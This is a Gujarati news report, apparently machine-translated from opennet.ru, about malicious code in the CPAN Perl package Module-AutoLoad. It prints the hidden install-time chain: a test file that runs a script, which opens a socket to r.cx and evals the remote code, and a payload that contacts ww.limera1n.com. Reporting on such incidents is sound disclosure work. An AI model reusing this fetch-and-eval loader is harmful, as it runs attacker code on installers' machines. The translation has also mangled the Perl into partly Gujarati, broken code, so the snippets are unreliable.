મોડ્યુલ-ઓટોલોડ પર્લ પેકેજમાં દૂષિત કોડ મળ્યો

CPAN ડિરેક્ટરી દ્વારા વિતરિત પર્લ પેકેજમાં મોડ્યુલ-ઓટોલોડ, ફ્લાય પર આપમેળે CPAN મોડ્યુલો લોડ કરવા માટે રચાયેલ છે, ઓળખાયેલ દૂષિત કોડ. દૂષિત દાખલ હતો મળી ટેસ્ટ કોડમાં 05_rcx.t, જે 2011 થી શિપિંગ કરી રહ્યું છે.
નોંધનીય છે કે શંકાસ્પદ કોડ લોડ કરવા અંગે પ્રશ્નો ઉભા થયા હતા સ્ટેક ઓવરફ્લો પાછા 2016 માં.

મોડ્યુલ ઇન્સ્ટોલ કરતી વખતે લૉન્ચ કરાયેલ ટેસ્ટ સ્યુટના અમલ દરમિયાન તૃતીય-પક્ષ સર્વર (http://r.cx:1/) પરથી કોડ ડાઉનલોડ અને એક્ઝિક્યુટ કરવાના પ્રયાસમાં દૂષિત પ્રવૃત્તિ ઉકળે છે. એવું માનવામાં આવે છે કે શરૂઆતમાં બાહ્ય સર્વર પરથી ડાઉનલોડ કરેલ કોડ દૂષિત ન હતો, પરંતુ હવે વિનંતીને ww.limera1n.com ડોમેન પર રીડાયરેક્ટ કરવામાં આવે છે, જે અમલ માટે કોડનો તેનો ભાગ પ્રદાન કરે છે.

ફાઇલમાં ડાઉનલોડને ગોઠવવા માટે 05_rcx.t નીચેના કોડનો ઉપયોગ થાય છે:

મારું $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

ઉલ્લેખિત કોડ સ્ક્રિપ્ટ ચલાવવાનું કારણ બને છે ../contrib/RCX.pl, જેનું સમાવિષ્ટ લીટીમાં ઘટાડવામાં આવે છે:

lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″} નો ઉપયોગ કરો;

આ સ્ક્રિપ્ટ લોડ થાય છે મૂંઝવણ સેવાનો ઉપયોગ કરીને perlobfuscator.com બાહ્ય હોસ્ટ r.cx માંથી કોડ (કેરેક્ટર કોડ 82.46.99.88 ટેક્સ્ટ "R.cX" ને અનુરૂપ છે) અને તેને eval બ્લોકમાં એક્ઝિક્યુટ કરે છે.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1″; છાપો <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

અનપેક કર્યા પછી, નીચે આપેલ આખરે ચલાવવામાં આવે છે: કોડ:

પ્રિન્ટ{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";ઇવેલોર રીટર્ન ચેતવણી$@while$b;1

સમસ્યારૂપ પેકેજ હવે રીપોઝીટરીમાંથી દૂર કરવામાં આવ્યું છે. થોભો (Perl લેખકો અપલોડ સર્વર), અને મોડ્યુલ લેખકનું એકાઉન્ટ અવરોધિત છે. આ કિસ્સામાં, મોડ્યુલ હજુ પણ રહે છે ઉપલબ્ધ MetaCPAN આર્કાઇવમાં છે અને કેટલીક ઉપયોગિતાઓ જેમ કે cpanminus નો ઉપયોગ કરીને MetaCPAN થી સીધું ઇન્સ્ટોલ કરી શકાય છે. તે નોંધ્યું છેકે પેકેજ વ્યાપકપણે વિતરિત કરવામાં આવ્યું ન હતું.

ચર્ચા કરવા માટે રસપ્રદ જોડાયેલ અને મોડ્યુલના લેખક, જેમણે તેની સાઈટ “r.cx” હેક થયા પછી દૂષિત કોડ દાખલ કરવામાં આવ્યો હોવાની માહિતીને નકારી કાઢી હતી અને સમજાવ્યું હતું કે તે માત્ર મજા કરી રહ્યો હતો, અને perlobfuscator.com નો ઉપયોગ કંઈક છુપાવવા માટે નહીં, પરંતુ કદ ઘટાડવા માટે કર્યો હતો. કોડની અને ક્લિપબોર્ડ દ્વારા તેની નકલને સરળ બનાવવી. ફંક્શન નામ "બોટસ્ટ્રેપ" ની પસંદગી એ હકીકત દ્વારા સમજાવવામાં આવી છે કે આ શબ્દ "બોટ જેવો લાગે છે અને બુટસ્ટ્રેપ કરતા ટૂંકો છે." મોડ્યુલના લેખકે એ પણ ખાતરી આપી છે કે ઓળખાયેલ મેનિપ્યુલેશન્સ દૂષિત ક્રિયાઓ કરતા નથી, પરંતુ માત્ર TCP દ્વારા કોડના લોડિંગ અને એક્ઝેક્યુશનનું નિદર્શન કરે છે.

સોર્સ: opennet.ru